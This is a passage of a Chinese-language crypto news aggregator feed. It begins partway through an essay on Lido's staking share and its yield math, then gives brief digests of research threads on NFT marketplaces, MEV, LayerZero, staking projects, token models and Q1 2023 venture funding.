的门槛；这将使他们保持在总 ETH 供应量的 12.5% 以下，但会产生使他们的优化收益减少 11% 的效果。请注意，这并不意味着 stETH 持有者会赚得更少（事实上，每个 stETH 代币会比在最佳点时赚得更多），但整个 Lido 验证器组从非 stETH 持有者那里提取的实际利润会减少 11%. 再质押协议极大地扭曲了激励结构。如果像 EigenLayer 这样的协议能够产生哪怕只是 0.5% 的名义收益，那么任何超过多数人的自我限制都是不可行的。选择自我限制低于 33% 的质押份额，就会牺牲掉四分之一以上的潜在收益，这对一组 stETH 持有者来说是不公平的。 社区不能合理地期望 LidoDAO 在自由市场上做出如此大的牺牲。在这种情况下，社区应该专注于确保 Lido 验证器集充分去中心化，并且 DAO 对运营商的控制尽可能少。 感谢 Jon Charbonneau 和 Walt Smith 对早期草案的宝贵反馈。此文不一定反映他们对这个问题的看法。 1 围绕燃烧 MEV 的建议是邻近的，但结果是相似的。如果实施 MEV 燃烧，它将减少质押的 APR（从而减少需求），并可能推迟减少质押奖励的需要。 2 以太坊质押发行率并不了解以太坊的总供应量，只了解验证者集的规模。为了简化读者的分析，我们假设以太坊的总供应量固定为 1.204 亿个代币。 3 我们很愿意看到别人这样做，如果你联系我们，我们很乐意提供帮助。 4 为了从这个图中生成一条曲线，我们需要先找到一个验证人的真实产量。 我喜欢 Ben Edgington 的估算，用于像这样的简单数学运算： APR = 29.40 / sqrt(N) where N is the number of validators. 为了将其转换为网络份额，我们假设 ETH 的供应量为 1.204 亿，并忆及每个验证器中有 32 个ETH. 在下面的公式中，S 代表验证人的有效网络份额。 APR = 29.40 / sqrt(120.4 × 10^6 / 32 × S) = 0.01518 / sqrt(S) 然后，通货膨胀是 APR 乘以验证者的有效网络份额。 Inflation = APR × S = 0.01518 × sqrt(S) 我们现在可以计算出实际收益率： RealYield = 0.01518 / sqrt(S) - 0.01518 × sqrt(S) 如果我们想加入费用调整，我们将年利率乘以（1 - F），但不触及通货膨胀。随着费用（F）归零，我们恢复了最初的实际收益。 RealYield = (1 - F) × 0.01518 / sqrt(S) - 0.01518 × sqrt(S) 为了创建一个提取的真实产量（ERY）的概况，我们再将真实产量乘以验证者的有效网络份额： ERY = RealYield × S = (1 - F) × 0.01518 × sqrt(S) - 0.01518 × S^(3/2) ERY = 0.01518 × ((1 - F) × sqrt(S) - S^(3/2)) 然后，我们可以通过提取实际收益率曲线的导数并找到其根/零点来解决曲线上的最高点。 dERY/dS = 0 when S = (1 - F) / 3 这条曲线 S =（1 - F）/3 代表验证者网络份额，假设折扣或收费率为 F，从非验证者那里提取最高金额的资金。 5 这些概况假设对再质押的需求远比今天多，但到那时候谁知道呢。 免责声明：本文不构成投资建议，用户应考虑本文中的任何意见、观点或结论是否符合其特定状况，及遵守所在国家和地区的相关法律法规。  ( 6 min )

  • Open

    【长推】重新思考 NFT 赛道各交易平台演进过程及背后逻辑
    Chainfeeds 导读： 过去一年 NFT 赛道的趋势都是高换手率的蓝筹 NFT 市值，真实成交量一直下降，但交易平台不断推陈出新，竞争越发激烈，目前为止，NFT 赛道尚未观察到拐点出现。LD Capital 研究员 Yuuki 对各个主流交易平台的产品逻辑和激励策略以及其背后的逻辑进行分析。 文章来源： https://twitter.com/Yuuki_7788/status/1645801432627679233 文章作者： Yuuki 观点： Yuuki：从产品逻辑来看，之前 NFT 交易平台的价值流动有问题，手续费全部归属平台，没有分给 LP，且长久以来做市商生态位一直空缺；主流产品层面的现象：Looksrare 最早是交易挖矿，x2y2 是挂单挖矿，主要激励卖方流动性，后转为交易挖矿，而后 Looksrare 开始挂单挖矿，但激励买卖双边，后切换为主要激励卖方，最终出现 blur，主要激励买方流动性。 内容来源 Yuuki：现象背后的逻辑：早期平台收取手续费的经济模型下，激励交易本质是变相卖币，可以让团队和持币者累积大量利润，Looksrare 早期借此赚了很多钱，X2Y2 吃了这方面的亏，所以后面调整成了交易挖矿；而交易挖矿对真实用户的激励作用很低，不利于产品构建网络效应，后续 Looksrare 开始挂单挖矿，最早买卖双边激励力度一样；但由于 NFT 的交易模式是卖家出手续费，同时卖一决定地板价，买卖双边同步的激励效果不如只激励卖方，Looksrare 做出相应调整； 内容来源 Yuuki：blur 的 bid pool 重点激励买方流动性的成功跟行业发展阶段有关系，一是这个阶段 NFT 交易平台已经内卷到不收手续费；二是整个 NFT 市场的降温让交易痛点从买到低价 NFT 变成将 NFT 尽可能高价卖出，激励买方流动性正好与之契合；但如果未来 NFT 市场出现牛市，这个机制会成为 blur 的缺点。 内容来源 Yuuki：总的来说，NFT 交易平台赛道各个协议的起伏都跟行情好坏与赛道演进的节点息息相关，目前没有出现一个可以构建资产发行方、做市商、交易用户多方跨边网络效应的产品；而且现在 NFT 市场和交易平台赛道持续下行，没有出现反转信号，所以我认为目前二级市场上 NFT 交易平台相关标的的配置意义都不高。 内容来源  ( 2 min )
    速览 Optimism RetroPGF 2 中 TOP 10 工具类项目
    Chainfeeds 导读： 在 Optimism 基金会 RetroPGF 第二轮中，共有 1000 万 OP 奖励，其中工具与实用程序类别的项目和人员总共获得了 3,229,011 OP。本文由 Web3 地图编译自 Optimism 官推，详细介绍了该类别的前 10 个获奖项目。 文章来源： https://mp.weixin.qq.com/s/AHjqRxZkCGsLsYfc5bMUlw 文章作者： Web3地图 观点： Web3地图：1）OpenZeppelin 对 Web3 组织的系统和产品进行安全审计，提供安全产品以构建、自动化和运行去中心化应用程序。2）DefiLlama 是一个跟踪 DeFi 协议指标的开源项目，向所有人免费提供关于 TVL、费用、国库等方面的数据。3）wagmi 是一个 React Hook 集合，包含开发人员开始使用以太坊所需的一切，是 Optimism Collective 和整个加密生态系统的基础前端工具。4）Remix 是一个工具集，包括 Remix 插件引擎、Remix 库和 Remix IDE，适用于各个层次的构建者。 内容来源 Web3地图：5）Gitcoin 致力于构建和资助数字公共产品，引发了整个行业回馈和支持开发者的趋势，并帮助加密项目度过了熊市挑战。6）Foundry 是一个用 Rust 编写的用于以太坊应用程序开发的快速、可移植和模块化的工具包，由贡献者生态系统构建和维护，并为开发者提供部署有影响力项目的工具。7）Snapshot 为 DAO 成员提供了对治理提案进行投票并集体做出决策的方式，无需中央集权机构。通过 Snapshot，DAO 提高了决策过程中的透明度和问责制。 内容来源 Web3地图：8）Rotkiapp 致力于通过开源工具为加密世界带来透明度。它提供了投资组合跟踪、分析和会计工具，通过在本地加密和存储数据来保护用户隐私。9）Giveth 是一个基于以太坊的捐赠平台。通过 Giveth 筹集资金简单、无需许可，并专注于为非营利组织和公共产品创造价值。10）Agora 是代表和构建者的治理公共基础设施，其开源治理合约和应用程序在不牺牲可访问性和用户体验的情况下，增加了集体的问责制、透明度和去中心化。 内容来源  ( 32 min )
    数据洞察：上海升级前后，LSD 赛道中 MEV 的机会和影响
    Chainfeeds 导读： 上海升级后，预计交易量将激增，同时将出现大量新的 MEV 机会。普通用户通常对 MEV 没有特别多的关注，但往往机会和风险也就藏在注意力之外的数据中。EigenPhi 撰文分析了最近的 MEV 趋势，并预测了未来以太坊 MEV 市场的发展走向。中文版由深潮 TechFlow 编译发布。 文章来源： https://www.techflowpost.com/article/detail_11698.html 文章作者： EigenPhi 观点： EigenPhi：2022 年 5 月至 2023 年 2 月，LSD 赛道中包括套利、清算和三明治攻击在内的 MEV 行为， 所产生的总收入超过了 480 万美元，其中大部分来自套利。套利交易频率的上升和平均套利收入的下降表明着市场效率的不断提高。所有三种类型的 MEV 的收益 / 成本比都有所降低，这表明 LSD MEV 市场的竞争力增强。 内容来源 EigenPhi：LSD MEV 未来的机会：1）ETH 价格波动问题。上海升级允许用户提取 ETH 并降低 ETH 仓位，短时间内可能导致价格急剧变化，为套利、清算和三明治带来了很多选择。建议计划在 DeFi 市场出售大量 ETH 的用户做好防范和控制三明治攻击的准备，使用 WETH 作为抵押品的用户注意调整债务仓位；2）LSD 在短期内的质押协议和市场之间的套利机会。过去两年，大多数 LSD 经历了显著的价格下跌。上海升级后，大多数质押协议将允许用户高于市场价交易 LSD 代币，从而创造市场套利机会。 内容来源 EigenPhi：3）长期来看，LSD MEV 市场将更加庞大。预计享有良好流动性和额外奖励的 LSD 代币将经历更高的交易量，从而创建与 LSD 相关的更多流动性池和使用 LSD 作为抵押品的借贷协议，预计 LSD 将在以太坊上取代 WETH 的部分流动性；4）关于 LSD 价格变化和整体 MEV 奖励的机会。大多数 LSD 奖励来自市场中的 MEV 奖励。更高的整体 MEV 奖励将导致更高的 LSD 奖励，从而推高 LSD 价格。一些新的交易策略也将出现。 内容来源  ( 3 min )
    【英文长推】解析 LayerZero 如何实现跨链通信和交易
    Chainfeeds 导读： 最近，LayerZero 以 30 亿美元估值从顶级风投公司处完成了 1.2 亿美元的 B 轮融资，加密研究员 Salazar.eth 从技术层面分析了 LayerZero 的特别之处，包括预言机、中继器、超轻节点等，并逐步详细介绍 LayerZero 是如何工作的。 文章来源： https://twitter.com/0xsalazar/status/1645740746132054018 文章作者： Salazar 观点： Salazar：使用 LayerZero 进行跨链交易时，两条链上都有由团队管理的端点（end point）。例如，用户向以太坊上的 AAVE 发送交易，交易首先被发送到 LayerZero 在以太坊上的端点。然后，该端点向 LayerZero（预言机和中继器）确认交易，LayerZero 与 AVAX 上的端点通信并执行该笔交易（收到 ETH 而非包装代币）。这带来了链之间的互操作性，使开发人员能够在特定链上构建 DEX 或其他 DeFi 应用程序。通过 LayerZero，用户可以留在原有链上，并使用任何收益聚合器或 DEX 在其他链上进行流动性挖矿。【原文为英文】 内容来源 Salazar：简单来讲，LayerZero 是一个通用消息平台，是通用消息传递的中心。LayerZero 的技术基于两个独立的实体，预言机和中继器，它们协同工作以实现跨链交易的有效交付。LayerZero 的一个关键特性是其采用轻量化设计的超轻节点。通过使用轻客户端，LayerZero 能够在昂贵的 L1 链上运行，而不会产生过高成本。另一个重要特性是支持在链间进行原生交易。端点是一个模块，通过它，LayerZero 可以轻松扩展以支持任何链，在每个参与的区块链上运行，并通过中继器进行链间通信，充当 LayerZero 与其运行的特定区块链之间的接口。【原文为英文】 内容来源  ( 2 min )
    【长推】UniV3-Fi 研报：赛道项目纵览与发展展望
    Chainfeeds 导读： Uniswap V3 license 过期后，V3 Forks 以及其它集中流动性 DEX 的发展将会拓宽整个 V3-Fi 赛道的容量。因此，原有的基于 UniV3 的 DeFi 协议将会在短时间内迎来更多的场景拓展。推特 KOL JamesX 整理了 30 个生态项目的基本信息，并对重点项目进行详细介绍。 文章来源： https://twitter.com/0xJamesXXX/status/1646049402946199552 文章作者： JamesX（iZUMi Research） 观点： JamesX（iZUMi Research）：1）ParaSpace：NFTFi 龙头协议，上线三个月，目前平台总 TVL 为 1.87 亿美元。其核心产品逻辑为 NFT 抵押借贷协议，而 UniV3 的 LP NFT 本质为双币组成的 NFT 资产票据，天然适应 ParaSpace 的抵押借贷机制。ParaSpace 是目前唯一支持抵押 UniV3 LP NFT 并借出其它 ERC-20 资产的平台，未来可能有多链部署和为 UniV3 LP 提供一键加杠杆提供流动性产品这两个发展方向。 内容来源 JamesX（iZUMi Research）：2）Gamma：龙头集中流动性 DEX LP 动态管理协议，2023 年 1 月前 TVL 三百万左右。通过与 Algebra Protocol 合作，成功接入 Quickswap 和 Zyberswap，并成为其官方合作 LP 动态管理协议。尽管主网 TVL 没多大变化，但通过其它 Layer2 生态的部署及各自生态头部 DEX 的合作，TVL 增长约 20 倍。并且，随着 V3 Forks DEX 的增加，头部 V3 LP 动态管理协议会占据更大的合作议价优势，并带来新一轮的指数级增长。 内容来源 JamesX（iZUMi Research）：3）Timeless Finance（Bunni）：创新流动性挖矿平台，将 Uniswap V3 的 LP NFT 打包成传统 ERC-20 LP 代币进行流动性挖矿，并通过自身的 veTokenomics 和 $LIT 代币补贴提供额外流动性挖矿收益。其竞争优势主要在底层机制的创新和优化：通过生成 ERC-20 LP 代币，其它 DeFi 协议可以更容易的搭建衍生平台；通过独特设计的 veTokenomics 和代币激励，可以获得一个更长期稳定的增长曲线。 内容来源  ( 2 min )
    【英文长推】加密名人如何看待当前市场行情
    Chainfeeds 导读： 了解行业内的知名人士和优秀的交易员或投资人对市场的看法，有助于帮助自己做出更明智的判断，这对成为一名优秀的加密交易员至关重要。推特 KOL VIKTOR 整理了一些知名人士的市场观点，供读者参考。（注意：其中很多推文发布于近日市场行情上涨之前。） 文章来源： https://twitter.com/thedefivillain/status/1645853563220811777 文章作者： VIKTOR 观点： Chris Burniske（Placeholder 合伙人）：2022 年带来的创伤太深，目前很少有人看涨，高处相见吧！【原文为英文】 内容来源 CL：如果你是一名基金交易员，现在可以尝试做多 BTC。交易论点很简单，即使上涨 +30% 仍然不会有大幅现货抛售，这一点从目前维持在基线以下的 perps 就可以看出。 内容来源 Andrew Kang：投降的三种类型：时间、价格、FUD。这些是市场用来将筹码从弱者手中转移到强者手中的工具。当足够的投降发生时，市场会上升至更高的价格。【原文为英文】 内容来源 McKenna：记住索罗斯的教诲：趋势逆转时，由于追随趋势的人群变得迷失方向，波动性往往会增加。我相信空头仍然迷失方向，超过 3 万美元时他们将被震回现实。市场结构决定偏见，保持看多！【原文为英文】 内容来源 merp：看涨的理由：相对中性的期货基差、季节性、网络升级、对传统机构的信心恶化等；看跌的理由：近期反弹缺乏跟进、缺乏流动性、高价位交易量占主导地位、网络升级、信用问题、ETH Tokyo。【原文为英文】 内容来源  ( 2 min )
    【英文长推】从市场深度、总量、买卖价价差纬度重新审视代币流动性
    Chainfeeds 导读： 加密货币研究员 Conor Ryder 将流动性排名前 30 的代币以市场深度、总量、买卖价差进行排名得出整体资产流动性得分，与其市值进行比较，以找出最具误导性的代币。 文章来源： https://twitter.com/conorryder/status/1645733336164253696 文章作者： Conor Ryder 观点： Conor Ryder：首先，我使用 KaikoData 平台上交易量和 1% 市场深度指标对这两个类别中的每个资产进行排名。总量突出的：DOGE、LTC，深度突出的：SOL，买卖差价突出的：MATIC、ATOM。【原文为英文】 内容来源 Conor Ryder：有进步的：ATOM 上升 5 名，FIL 和 LTC 排名上升（但我怀疑之前的研究是洗钱交易）。退步的：BNB 下降 6 名，TRX 下降 3 名。【原文为英文】 内容来源  ( 2 min )
    【长推】SyncSwap 新推出的「忠诚度」代币奖励计划是什么？
    Chainfeeds 导读： zkSync 生态第一大项目 SyncSwap 遭受社区疯狂吐槽，认为其新推出的「忠诚度」代币奖励计划纯属多此一举。GWEI Rearcher 详细讲解了「忠诚度」代币奖励计划，认为此计划对吸引流动性有帮助。 文章来源： https://twitter.com/8btc_official/status/1645682728413843456 文章作者： DeFi之道 观点： DeFi之道：SyncSwap 的忠诚度计划究竟是什么？根据官方介绍，这个忠诚度计划旨在激励交易并帮助交易者实现利润最大化。 交易者将获得不可转让的 SyncSwap 忠诚代币 - ySYNC 作为奖励。根据交易量，产生的交易费用越多，获得的奖励越多。 赚取的 ySYNC 可以定期转换为 veSYNC 代币。每产生 1 美元的交易费用，您将自动收到 1 个 ySYNC。但是，这个奖励会随着参与的人越来越多而被稀释。 内容来源 DeFi之道：如何获得代币？Genesis Epoch 将从一些具有足够流动性的合格代币开始，因为此时 zkSync Era 主网上可用的代币不多。只有交易符合条件的代币才能获得奖励，包括：ETH、USDC、BUSD（Celer 网络）交易激励模式在币圈并不少见，以往很多项目都搞过，但最后的效果很多都不理想，但也有不错的，例如 dydx 的类似交易空投激励，很多用户都薅到了大毛。SyncSwap 没有跟上这波热度直接发放空投，而选择先搞忠诚度计划，这应该对吸引流动性有帮助，但最终效果如何呢？ 内容来源  ( 2 min )
    HashKey Group 推出生态积分 HSK，总供应量 10 亿枚
    HashKey Group 推出生态积分 HSK，总供应量 10 亿枚 数字资产金融服务提供商 HashKey Group 宣布推出生态积分 HSK，以赋能生态圈内各项业务持续增长，并用于奖励和回馈为生态发展做出贡献的用户与合作伙伴。 据官方公告，HSK 固定总供应量为 10 亿枚，其中 65% 的 HSK 将分配给生态增长，30% 分配给团队，5% 分配给储备金。HSK 将作为使用 HashKey 交易平台业务的奖励发放，未来将扩展到更多业务线奖励计划。HSK 将定期从循环供应中回购和销毁，以抵消奖励分配的稀释效应。 内容来源 观点： ChainFeeds：HSK 白皮书下载地址：https://www.hashkey.com/en/insights/hsk-whitepaper 内容来源  ( 2 min )
    Arthur Hayes：囤了那么久的 LDO，我为何全部亏本抛售？
    Chainfeeds 导读： 昨日，加密研究员 Thor Hartvigsen 披露 BitMEX 联创 Arthur Hayes 在 2022 年期间以 2.53 美元的平均价格购买了 75.8 万枚 LDO，却在今年 3 月以 2.42 美元的价格将其全部亏本抛售。Arthur Hayes 本人撰文探讨了 Lido 模式的风险，并分析了其投资的两个 ETH 质押基础设施项目 Obol Labs 和 ether.fi 的竞争优势。本文由白泽研究院编译。 文章来源： https://mp.weixin.qq.com/s/mxHXGjWCJ8Jk1GibHI0kkg 文章作者： Arthur Hayes（BitMEX 创始人） 观点： Arthur Hayes（BitMEX 创始人）：Lido 作为最大和第一个去中心化 LSD 协议，可能是受上海升级带来影响最大的协议之一。Lido 之所以有效，是因为节点运营商选择了合作。如果节点运营商出于某种原因不愿意或无法退出他们的验证器，那用户就要承担风险。简而言之：Lido 的模式（及其节点运营商的收入模式）取决于你不仅要放弃你的私钥，还要承担大部分风险。一切只为了你宝贵资产的 4–6% 收益率。 内容来源 Arthur Hayes（BitMEX 创始人）：Obol Labs 是我们（Arthur Hayes 的家族办公室基金 Maelstrom）的一项投资，Obol 的分布式验证器技术（DVT）中间件允许验证器密钥在多个节点操作员之间「拆分」，有效地创建一个可以在多台机器上同时运行的「多重签名」验证器。这些多重验证者仍然作为一个与信标链的「对话」，避免了惩罚或削减，同时提高了 ETH 质押赛道的安全性和去中心化。 内容来源 Arthur Hayes（BitMEX 创始人）：ether.fi 是我们的另一笔投资，他们正在为以太坊构建首批真正的非托管质押协议（以及未来的其他 PoS 网络）。ether.fi 降低了各方的风险，包括不再需要保持钱包连接或依赖可信中间方进行协调的节点运营商。质押者在从创建到赎回的整个质押过程中生成和控制自己的密钥，并且可以随时退出验证器以收回他们的 ETH，从而防止节点运营商渎职。 内容来源  ( 32 min )
    【英文长推】传统机构代币化现实资产的案例启示：如何评估 RWA 项目？
    Chainfeeds 导读： 随着星展银行、摩根大通和西门子等传统大机构开展现实世界资产（RWA）代币化相关的试点，RWA 正在彻底改变并弥合 DeFi 和 TradFi 之间的差距。加密 KOL 盘点了代表性的 RWA 应用，并以大机构采用 RWA 的逻辑形成了一套评估 RWA 项目的准则。他倾向于选择具有强大的「变革用例」的项目。 文章来源： https://twitter.com/0xTindorr/status/1645803735938117636 文章作者： Tindorr 观点： Tindorr：大机构认可 RWA，是因为他们有合规的历史、强大的风险管理、KYC 能力，以及客户的信任。根据咨询公司贝恩的调查报告，通过采用区块链，大机构将减少 15-25% 的运营成本，同时简化流程、降低风险、并释放资本。【原文为英文】 内容来源 Tindorr：当选择一个 RWA 项目时，你需要分析：商业模式和可行性、采用的障碍和路线图。以 Polytrade 项目为例，他们的商业模式是向需要即时现金的中小企业购买信用发票，并收取一定的溢价作为费用。该费用将作为项目的 APR 和利润。DeFi 用户可以通过出借稳定币参与，并获得收益。【原文为英文】 内容来源 Tindorr：通常情况下，监管的明确性、权限、身份、连接性及储备证明是需要解决的挑战。你需要看到一个协议如何处理并告知它的解决方案，以确保其功能的运行。此外，你还需要监测项目的动态及规划，并确保它的表现优于竞争对手。我建议选择一个有强大变革必要性的项目。【原文为英文】 内容来源  ( 2 min )
    【英文长推】简述模块化执行层 Fuel 技术特点
    Chainfeeds 导读： 模块化执行层 Fuel 几周前发布了 Beta-3 测试网，目前已进行了 10 万笔以上的交易。加密研究员 Delphi Intern 简单介绍了 Fuel 的技术特性及应用前景。 文章来源： https://twitter.com/delphiintern/status/1645861937157218305 文章作者： Delphi Intern 观点： Delphi Intern：Fuel 正在建立一个模块化的执行层，Fuel 加速了交易的执行，并可以将数据发布到各种 L1 上。Fuel Beta-3 测试网提供 P2P 网络和同步全节点的能力。L1 可以利用 Fuel 的执行速度和 L1 的安全 / 数据，还可以使用 Celestia 作为数据层。【原文为英文】 内容来源 Delphi Intern：Sway Fuel 创建的用于 FuelVM 的语言，目的是为了改进 Solidity 和 Move。Fuel 使用一个非常快速的欺诈证明机制和 UTXO 实现并行交易。它使用轻型客户端来提高安全性，没有中心化或可扩展性问题。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜Lightspark：利用 AI 预测解决闪电网络流动性问题
    Chainfeeds 导读： 由前 PayPal 总裁、Meta 加密货币主管 David Marcus 创立的比特币闪电网络公司 Lightspark 发布了构建在比特币闪电网络之上的产品套件，该产品整合 AI 预测用于提供闪电网络流动性视图，从而解决流动性不匹配的问题。Lightspark 联合创始人 Christian Catalini 撰文解析了产品特性。 文章来源： https://twitter.com/ccatalini/status/1645850361046114304 文章作者： Christian Catalini 观点： Christian Catalini：闪电网络的魅力在于它建立在比特币的安全和保障原则之上。没有侧链，不需要信任一套新的验证器，也没有需要未来去中心化的排序器。但这使得流动性被锁定在成对的通道中，一旦遇到缺乏足够流动性的路径，支付就会失败。【原文为英文】 内容来源 Christian Catalini：Lightspark 引入了一个「传导率」指标，量化了一个闪电节点在网络上有效传输价值的能力。通过优化传导率和动态调整客户的连接，新的参与者将成为网络的关键参与者。为了解决流动性问题，Lightspark 整合了 AI 用于提供一个准确、相关、实时的网络流动性视图，从而大幅提高闪电网络上的资金速度。【原文为英文】 内容来源  ( 2 min )
    【长推】DVT 赛道潜力白马：Obol Network
    Chainfeeds 导读： 与 Re-Staking、模块化公链相同，DVT（分布式节点技术）是一种新发明的原语，它指的是允许一种以太坊 POS 节点在多个机器上运行的技术。Obol Network 是 DVT 技术的一个新实例。加密货币研究员 NingNing 从 DVT 赛道潜力、产品特点、团队等方面介绍了 Obol Network。 文章来源： https://twitter.com/0xning0x/status/1645725731639693312 文章作者： Ningning.lens 观点： Ningning.lens：Obol Network 是 DVT 技术的一个新实例，与 SSV 不同，它的中间件 CHARON 是非托管的。ETH2.0 主网节点架构分为执行层和共识层。执行层负责执行 EVM 和管理 Tx 池，共识层负责确认区块。CHARON 作为中间层，协调节点达成共识，合成完整秘钥并签名。 内容来源 Ningning.lens：Obol Network 牛在哪里？节点冗余。传统的 DVT 技术需要备份同一私钥在多个机器上运行，易发生机器同时签名而被系统 slash 的情况；分布式私钥。运行节点的多个机器的任何一个机器都不保管完整的私钥，减少了私钥泄露的风险；故障容忍。 Obol 的采用阈值机制，部分机器故障掉线不影响共识的达成。 内容来源 Ningning.lens：Obol 的创始人为前 ConsenSys 执行官 Collin Myers，CTO 是同样来自 ConsenSys 的 Oisín Kyne。目前 Obol 已经完成种子轮和 A 轮共～1600 万美元融资，A 轮领投机构是世界排名第一的 Web3 VC Pantera 资本，参投机构 Coinbase Ventures 等等知名机构。 内容来源  ( 2 min )
    【长推】观点：三代币模型需要系统性地分离
    Chainfeeds 导读： 加密货币研究员 0xLoki 谈及对肖风老师三代币模型的理解，认为三代币模型的本质是现有许多代币将治理职能、收益权、效用职能混合在一起形成了缝合怪，需要系统性地分离。 文章来源： https://twitter.com/loki_zeng/status/1645789082591838209 文章作者： 0xLoki 观点： 0xLoki：三代币模型的本质是现有许多代币将治理职能、收益权、效用职能混合在一起形成了缝合怪，需要系统性地分离：1）股权 Token 面向 VC/Team ；2）Utility Token 属于 Stake to Access 范畴，面向用户；3）NFT 满足 Utility Token 不能满足的那部分需求。 内容来源 0xLoki：价值锚定不同：1）股权代币的价值由对经济系统的抽水；2）Utility Token 的价格由供需影响，因此由经济系统的繁荣程度决定；3）NFT 承载特殊职能，同时实现前两种代币不能承载的稀缺性和不可替代性职能。 内容来源  ( 2 min )
    a16z：2023 年加密货币状况报告
    Chainfeeds 导读： a16z Crypto 发布 2023 年加密货币状况报告。报告的主要要点有：1. 区块链有更多的活跃用户，更多的参与方式；2. DeFi 和 NFT 活动似乎再次上升；3. 加密行业活跃开发者数量保持稳定；4. 区块链正在通过前景大好的的新途径扩展；5. 曾经几乎不可能的新技术正在变得非常真实；6. 美国正在失去其在 web3 领域的领先地位；7. 放大显示各关键指标的进展。本文由 MarsBit 编译。 文章来源： https://news.marsbit.co/20230412070840556023.html 文章作者： a16z 观点： a16z：1）今年的价格已经从 2021 年的令人眼花缭乱的高点稳定下来。这个行业似乎正在稳定下来：投机活动已经冷却，人们如何持久、有机地使用 Web3 并与之互动的故事正在开始展开。我们看到每月的活跃地址 —— 每月在链上交易的独特地址 —— 比以往任何时候都多。上个月，我们看到 1500 万个发送地址，是两年前价格仍然高涨时的两倍多。一个可能的解释是： 参与区块链和 Web3 应用程序的方式越来越多。 内容来源 a16z：2）与此同时，DeFi 和 NFT 的活动在从 2021 年的高点下降后似乎又开始上升。随着投机的冷却，更多的有机用途似乎已经出现，包括借贷、汇款、艺术品、收藏品、链上游戏等等。但是，NFT 和去中心化金融的承诺 —— 改变互联网的经济性 —— 仍然存在。 内容来源 a16z：3）价格可能具有误导性，特别是如果不了解 Web3 技术的动态 —— 和不断增长的 —— 建设者的生态。值得注意的是，整个加密货币曾经并继续保持着持续的发展。今天，加密货币行业有近 3 万名每月活跃的开发者。而自 2020 年牛市开始以来，稳定增长了 60%，这表明可能被当初的价格上涨吸引的开发者正在坚持下去。 内容来源  ( 2 min )
    Galaxy Q1 投融资研报：VC 筹资遇冷，投资仅 24 亿美元延续下降趋势
    Chainfeeds 导读： Galaxy Digital 发布了 2023 年第一季度投融资研报，表示风险投资公司向以加密货币初创企业和协议投资了 24 亿美元，这是两年多以来的最低金额。本文由白泽研究院编译。 文章来源： https://mp.weixin.qq.com/s/S5TIPPoJ6wcKw8YgUnS-Ew 文章作者： 白泽研究院 观点： 白泽研究院：2023 年第一季度，加密 VC 投资总额为 24 亿美元，是从 2020 年第四季度以来的最低水平，延续了自 2022 年第一季度 130 亿美元的峰值之后开始的下降趋势。2023 年第一季度，加密初创公司筹集到的资金不到两个季度前筹集资金的一半。尽管 VC 的投资总额呈下降趋势，但投资数量在 2023 年第一季度有所回升，与 2022 年第四季度的 366 笔相比增加了 73 笔至 439 笔。回升的主要原因是种子前投资的相对增长（89 笔），2022 年第四季度的种子前投资相当惨淡，只有 42 笔。 内容来源 白泽研究院：2023 年第一季度，VC 的投资规模和初创公司的融资前估值处于 2021 年初以来的最低点。2023 年第一季度 VC 投资规模的中位数为 250 万美元，而初创公司融资前估值的中位数为 1880 万美元。VC 投资规模和初创公司融资前估值的下降也符合更广泛的 VC 市场的下滑。 内容来源 白泽研究院：从融资数量来看，「Web3、NFT、DAO、元宇宙和链游」初创公司重新夺回头把交椅，其次是「交易、交易平台、投资和借贷」初创公司。「交易、交易平台、投资和借贷」类别有很大一部分资金流入后期阶段的公司，而「Web3、NFT、DAO、元宇宙和链游」类别对前期阶段的公司的投资很少。 内容来源  ( 33 min )
    【英文长推】6 个具有潜在空投机会的 SocialFi 项目及交互指南
    Chainfeeds 导读： 加密 KOL Xremlin 认为 SocialFi 将是下一个可能的热门叙事，为了获取可能的项目空投，早期参与必不可少。他盘点了具有潜在空投机会的 6 个 SocialFi 项目，并整理了交互指南。 文章来源： https://twitter.com/0x_gremlin/status/1645865989165445120 文章作者： Xremlin 观点： Xremlin：Lens 协议将用户的所有数据，包括关注者、订阅和帖子，都存储在链上。因此，用户可以随时保存和迁移数据，而不被一个社交网络绑定。Phaver 是一个建立在 Lens 协议上的分享赚币（share-to-earn）平台，将代币作为平台的实际所有权奖励给活跃用户。【原文为英文】 内容来源 Xremlin：Layer3 是一个任何人都可以通过完成互动「任务 」来探索 Web3 世界的平台。通过完成任务，用户可以进一步体验 DeFi、Web3 游戏、Web3 社交、Layer2 等协议。CyberConnect 是一个去中心化的社交协议，具有身份主权，可用于大规模采用和网络效应。【原文为英文】 内容来源 Xremlin：Snapshot 是一个链下投票平台 DAO、DeFi 协议和 NFT 社区能够轻松投票，且无需支付 gas 费。Optimism 的空投标准之一就是通过 Snapshot 投票。Mirror 是一个采用了加密货币和区块链技术的发布工具，为创作者提供了新的变现途径。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Arbitrum 治理风波过后，ARB 代币还值得投资吗？
    Chainfeeds 导读： Arbitrum 治理提案 AIP-1 以失败告终，随之而来的是关于 ARB 代币是否有价值的问讨论。Messari 分析师 Kunal Goel 认为虽然提案失败了，但也带来了积极影响。同时，结合 Arbitrum 当前的协议数据及发展前景来看，ARB 代币处于被低估状态。 文章来源： https://twitter.com/kunalgoel/status/1645890186901958657 文章作者： Kunal Goel 观点： Kunal Goel：代币持有者的积极治理已经带来了积极影响：1. 基金会的资金有了一个释放时间表；2. 基金会现在已经披露了其预算、董事的背景，并与 DAO 建立了更清晰的关系。【原文为英文】 内容来源 Kunal Goel：Arbitrum 排序器为金库产生了现金流，这些都是代币的累积价值。2023 年 Q1 季度 Arbitrum 收入 1000 万美元，利润 370 万美元。随着采用率的增加，收入将得到改善。同时，EIP-4844 也将可能减少 10-100 倍的成本，这意味着利润的上升。【原文为英文】 内容来源 Kunal Goel：增长前景：1. 排序器在未来可以捕获 MEV（尽管现在没有这么做）；2. 去中心化的排序器和 ARB 质押将锁定代币供应并提供安全；3.Arbitrum 在所有关键指标上都优于 Optimism；4.ARB 完全稀释市值仅比 OP 高 20%，显然处于低估状态。【原文为英文】 内容来源  ( 2 min )
    【英文】Bankless：以太坊上海升级在即，重要信息速览
